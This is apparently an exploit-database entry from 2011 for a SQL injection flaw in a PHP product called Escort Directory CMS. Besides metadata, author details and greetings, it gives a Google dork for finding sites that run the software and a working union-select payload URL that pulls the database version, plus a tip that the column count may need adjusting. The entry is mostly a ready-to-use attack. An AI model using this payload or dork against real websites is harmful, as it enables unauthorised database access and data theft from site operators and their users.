Escort Directory CMS - SQL Injection

Author: NoNameMT
type: webapps
platform: php
port: 
date_added: 2011-02-19 
date_updated: 2011-02-19 
verified: 1 
codes: OSVDB-70876 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Escort Directory CMS SQL Injection Vunerability
# Google Dork: "Powered By Escort Web design"
# Platform: php
# Date: 09.02.2011
# Author: NoNameMT
# Software Link: http://www.escortwebsitedesign.co.uk/directory-design/
# Price: 750 €
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/main/HotBrunette,-3+union+select+1,2,version(),4,5,6,7--+

Maybe there a diffrent number of columns

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42,
Nightmare_FH